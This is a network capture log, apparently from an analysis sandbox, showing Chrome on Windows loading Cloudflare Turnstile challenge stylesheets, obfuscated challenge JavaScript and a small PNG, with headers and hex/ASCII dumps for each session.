2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49741	104.18.95.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:00 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ec20e0108594229&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:00 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:06:00 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 107780 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ec20e0bda800f90-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:06:00 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 45 73 73 58 42 30 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.EssXB0={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconce
2024-12-03 08:06:00 UTC	1369	IN	Data Raw: 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 Data Ascii: t":"Timed%20out","turnstile_expired":"Expired","testing_only":"Testing%20only.","turnstile_feedback_report":"Having%20trouble%3F","turnstile_success":"Success%21","human_button_text":"Verify%20you%20are%20human","feedback_report_output_subtitle":"Your%20f
2024-12-03 08:06:00 UTC	1369	IN	Data Raw: 2c 67 36 2c 67 63 2c 67 64 2c 67 65 2c 67 6f 2c 67 7a 2c 67 44 2c 67 45 2c 66 35 2c 66 36 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 35 33 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 38 35 32 29 29 2f 32 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 31 30 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 32 32 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 37 33 35 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 38 32 32 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 33 34 38 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 38 34 Data Ascii: ,g6,gc,gd,ge,go,gz,gD,gE,f5,f6){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1253))/1+parseInt(gI(852))/2(parseInt(gI(1410))/3)+-parseInt(gI(722))/4+parseInt(gI(735))/5(parseInt(gI(822))/6)+-parseInt(gI(348))/7*(parseInt(gI(84
2024-12-03 08:06:00 UTC	1369	IN	Data Raw: 5b 67 4f 28 31 36 32 32 29 5d 28 69 2c 44 29 29 3f 6f 5b 67 4f 28 31 32 33 38 29 5d 28 73 2c 69 2b 44 2c 45 29 3a 46 7c 7c 73 28 6f 5b 67 4f 28 31 31 30 31 29 5d 28 69 2c 44 29 2c 68 5b 44 5d 29 29 3a 6f 5b 67 4f 28 38 34 39 29 5d 28 73 2c 6f 5b 67 4f 28 31 36 32 32 29 5d 28 69 2c 44 29 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 67 4e 29 7b 67 4e 3d 62 2c 4f 62 6a 65 63 74 5b 67 4e 28 31 32 35 35 29 5d 5b 67 4e 28 31 30 32 35 29 5d 5b 67 4e 28 34 39 38 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 67 4e 28 31 31 32 35 29 5d 28 47 29 7d 7d 2c 65 54 3d 67 4a 28 35 32 33 29 5b 67 4a 28 34 30 31 29 5d 28 27 3b 27 29 2c 65 55 3d 65 54 5b 67 4a 28 35 31 31 29 5d 5b 67 4a 28 31 31 Data Ascii: [gO(1622)](i,D))?o[gO(1238)](s,i+D,E):F\|\|s(o[gO(1101)](i,D),h[D])):o[gO(849)](s,o[gO(1622)](i,D),E),C++);return j;function s(G,H,gN){gN=b,Object[gN(1255)][gN(1025)][gN(498)](j,H)\|\|(j[H]=[]),j[H][gN(1125)](G)}},eT=gJ(523)[gJ(401)](';'),eU=eT[gJ(511)][gJ(11
2024-12-03 08:06:00 UTC	1369	IN	Data Raw: 33 35 37 29 5d 3d 68 4e 28 33 38 37 29 2c 64 5b 68 4e 28 31 36 30 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 65 5b 68 4e 28 31 36 30 34 29 5d 28 31 65 33 2c 65 4d 5b 68 4e 28 31 33 35 31 29 5d 5b 68 4e 28 31 33 32 30 29 5d 28 32 3c 3c 66 2c 33 32 29 29 2c 65 4d 5b 68 4e 28 38 30 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 4f 29 7b 68 4f 3d 68 4e 2c 65 4d 5b 68 4f 28 31 31 39 30 29 5d 26 26 28 65 4d 5b 68 4f 28 33 38 30 29 5d 5b 68 4f 28 38 39 33 29 5d 28 29 2c 65 4d 5b 68 4f 28 33 38 30 29 5d 5b 68 4f 28 37 38 37 29 5d 28 29 2c 65 4d 5b 68 4f 28 37 38 38 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 68 4f 28 31 31 39 30 29 5d 5b 68 4f 28 31 31 38 38 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 68 4f Data Ascii: 357)]=hN(387),d[hN(1604)]=function(h,i){return i*h},e=d,f=1,g=e[hN(1604)](1e3,eM[hN(1351)][hN(1320)](2<<f,32)),eM[hN(805)](function(hO){hO=hN,eM[hO(1190)]&&(eM[hO(380)][hO(893)](),eM[hO(380)][hO(787)](),eM[hO(788)]=!![],eM[hO(1190)][hO(1188)]({'source':hO
2024-12-03 08:06:00 UTC	1369	IN	Data Raw: 68 50 28 31 33 37 38 29 5d 3d 4a 53 4f 4e 5b 68 50 28 31 32 33 32 29 5d 28 67 5b 68 50 28 31 33 37 38 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 36 27 3a 47 5b 68 50 28 31 33 30 35 29 5d 28 45 2c 46 2c 21 21 5b 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 37 27 3a 43 3d 65 4d 5b 68 50 28 31 31 32 31 29 5d 5b 68 50 28 38 33 36 29 5d 3f 6b 5b 68 50 28 31 34 32 30 29 5d 28 27 68 2f 27 2b 65 4d 5b 68 50 28 31 31 32 31 29 5d 5b 68 50 28 38 33 36 29 5d 2c 27 2f 27 29 3a 27 27 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 38 27 3a 44 3d 66 7a 28 67 5b 68 50 28 31 33 37 38 29 5d 2c 67 5b 68 50 28 31 33 34 39 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 39 27 3a 45 3d 68 50 28 36 38 31 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 30 Data Ascii: hP(1378)]=JSON[hP(1232)](g[hP(1378)]);continue;case'6':G[hP(1305)](E,F,!![]);continue;case'7':C=eM[hP(1121)][hP(836)]?k[hP(1420)]('h/'+eM[hP(1121)][hP(836)],'/'):'';continue;case'8':D=fz(g[hP(1378)],g[hP(1349)]);continue;case'9':E=hP(681);continue;case'10
2024-12-03 08:06:00 UTC	1369	IN	Data Raw: 6b 5b 68 53 28 36 37 36 29 5d 2c 6c 5b 68 53 28 34 37 39 29 5d 28 6d 29 3e 2d 31 29 3f 6b 5b 68 53 28 31 35 35 33 29 5d 28 6b 5b 68 53 28 34 39 35 29 5d 2c 68 53 28 31 30 32 31 29 29 3f 65 4d 5b 68 53 28 38 30 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 54 29 7b 68 54 3d 68 53 2c 65 4d 5b 68 54 28 33 39 31 29 5d 28 29 7d 2c 31 65 33 29 3a 65 3d 66 5b 68 53 28 39 34 33 29 5d 3a 28 6e 3d 7b 7d 2c 6e 5b 68 53 28 37 32 30 29 5d 3d 65 2c 6e 5b 68 53 28 31 33 34 39 29 5d 3d 66 2c 6e 5b 68 53 28 31 35 33 38 29 5d 3d 67 2c 6e 5b 68 53 28 31 33 33 31 29 5d 3d 68 2c 6e 5b 68 53 28 31 33 37 38 29 5d 3d 69 2c 6f 3d 6e 2c 65 4d 5b 68 53 28 38 30 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 55 29 7b 68 55 3d 68 53 2c 65 4d 5b 68 55 28 34 34 38 29 5d 28 6f 2c 75 6e 64 65 66 Data Ascii: k[hS(676)],l[hS(479)](m)>-1)?k[hS(1553)](k[hS(495)],hS(1021))?eM[hS(805)](function(hT){hT=hS,eM[hT(391)]()},1e3):e=f[hS(943)]:(n={},n[hS(720)]=e,n[hS(1349)]=f,n[hS(1538)]=g,n[hS(1331)]=h,n[hS(1378)]=i,o=n,eM[hS(805)](function(hU){hU=hS,eM[hU(448)](o,undef
2024-12-03 08:06:00 UTC	1369	IN	Data Raw: 5b 67 4a 28 33 36 37 29 5d 3d 66 4b 2c 67 44 5b 67 4a 28 31 30 32 36 29 5d 3d 66 4c 2c 67 44 5b 67 4a 28 39 35 31 29 5d 3d 67 37 2c 67 44 5b 67 4a 28 31 34 39 34 29 5d 3d 67 39 2c 67 44 5b 67 4a 28 38 33 34 29 5d 3d 67 38 2c 67 44 5b 67 4a 28 35 37 33 29 5d 3d 67 6a 2c 67 44 5b 67 4a 28 31 33 38 35 29 5d 3d 67 69 2c 67 44 5b 67 4a 28 31 34 34 35 29 5d 3d 67 68 2c 67 44 5b 67 4a 28 34 32 34 29 5d 3d 67 67 2c 67 44 5b 67 4a 28 31 31 37 36 29 5d 3d 67 31 2c 67 44 5b 67 4a 28 39 34 39 29 5d 3d 67 43 2c 67 44 5b 67 4a 28 31 30 32 30 29 5d 3d 67 35 2c 67 44 5b 67 4a 28 38 39 33 29 5d 3d 67 32 2c 67 44 5b 67 4a 28 34 32 32 29 5d 3d 66 59 2c 67 44 5b 67 4a 28 39 37 37 29 5d 3d 66 58 2c 65 4d 5b 67 4a 28 33 38 30 29 5d 3d 67 44 2c 67 45 3d 66 75 6e 63 74 69 6f 6e Data Ascii: [gJ(367)]=fK,gD[gJ(1026)]=fL,gD[gJ(951)]=g7,gD[gJ(1494)]=g9,gD[gJ(834)]=g8,gD[gJ(573)]=gj,gD[gJ(1385)]=gi,gD[gJ(1445)]=gh,gD[gJ(424)]=gg,gD[gJ(1176)]=g1,gD[gJ(949)]=gC,gD[gJ(1020)]=g5,gD[gJ(893)]=g2,gD[gJ(422)]=fY,gD[gJ(977)]=fX,eM[gJ(380)]=gD,gE=function
2024-12-03 08:06:00 UTC	1369	IN	Data Raw: 68 2c 6a 6a 29 7b 69 66 28 6a 6a 3d 6a 69 2c 6a 6a 28 31 30 31 39 29 3d 3d 3d 6a 6a 28 31 30 31 39 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 68 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 6b 29 7b 72 65 74 75 72 6e 20 6a 6b 3d 6a 6a 2c 6a 6b 28 31 36 30 36 29 5b 6a 6b 28 36 38 37 29 5d 28 69 29 7d 29 3b 65 6c 73 65 20 74 72 79 7b 72 65 74 75 72 6e 20 6d 28 6e 29 7d 63 61 74 63 68 28 6a 29 7b 72 65 74 75 72 6e 20 78 28 42 28 43 29 29 7d 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6f 2c 73 2c 6a 6c 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 55 2c 56 2c 57 2c 4e 2c 4f 2c 50 2c 51 2c 52 29 7b 69 66 28 6a 6c 3d 6a 69 2c 78 3d 7b 7d 2c 78 5b 6a 6c 28 31 36 35 30 29 5d 3d 64 5b 6a 6c 28 Data Ascii: h,jj){if(jj=ji,jj(1019)===jj(1019))return null==h?'':f.g(h,6,function(i,jk){return jk=jj,jk(1606)[jk(687)](i)});else try{return m(n)}catch(j){return x(B(C))}},'g':function(j,o,s,jl,x,B,C,D,E,F,G,H,I,J,K,L,M,U,V,W,N,O,P,Q,R){if(jl=ji,x={},x[jl(1650)]=d[jl(
2024-12-03 08:06:00 UTC	1369	IN	Data Raw: 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 52 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 47 2d 2d 2c 30 3d 3d 47 26 26 28 47 3d 4d 61 74 68 5b 6a 6c 28 31 34 39 37 29 5d 28 32 2c 49 29 2c 49 2b 2b 29 2c 64 65 6c 65 74 65 20 45 5b 46 5d 7d 65 6c 73 65 20 66 6f 72 28 52 3d 44 5b 46 5d 2c 43 3d 30 3b 64 5b 6a 6c 28 34 34 33 29 5d 28 43 2c 49 29 3b 4b 3d 64 5b 6a 6c 28 34 32 31 29 5d 28 64 5b 6a 6c 28 39 30 33 29 5d 28 4b 2c 31 29 2c 52 26 31 2e 36 29 2c 6f 2d 31 3d 3d 4c 3f 28 4c 3d 30 2c 4a 5b 6a 6c 28 31 31 32 35 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 52 3e 3e 3d 31 2c 43 2b 2b 29 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 69 66 28 46 21 3d 3d 27 27 29 7b 69 66 28 64 5b 6a 6c 28 35 31 33 29 5d 28 64 5b 6a 6c 28 31 36 31 36 29 5d 2c 6a 6c 28 31 35 33 Data Ascii: K)),K=0):L++,R>>=1,C++);}G--,0==G&&(G=Math[jl(1497)](2,I),I++),delete E[F]}else for(R=D[F],C=0;d[jl(443)](C,I);K=d[jl(421)](d[jl(903)](K,1),R&1.6),o-1==L?(L=0,J[jl(1125)](s(K)),K=0):L++,R>>=1,C++);continue}break}if(F!==''){if(d[jl(513)](d[jl(1616)],jl(153

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49742	104.18.95.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:00 UTC	742	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:00 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:06:00 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ec20e0d69177d1a-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:06:00 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49743	104.18.94.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:01 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:02 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:06:02 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ec20e181b3b7c93-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:06:02 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49744	104.18.94.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:02 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ec20e0108594229&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:02 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:06:02 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 117937 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ec20e1a19df4314-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:06:02 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 45 73 73 58 42 30 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.EssXB0={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"htt
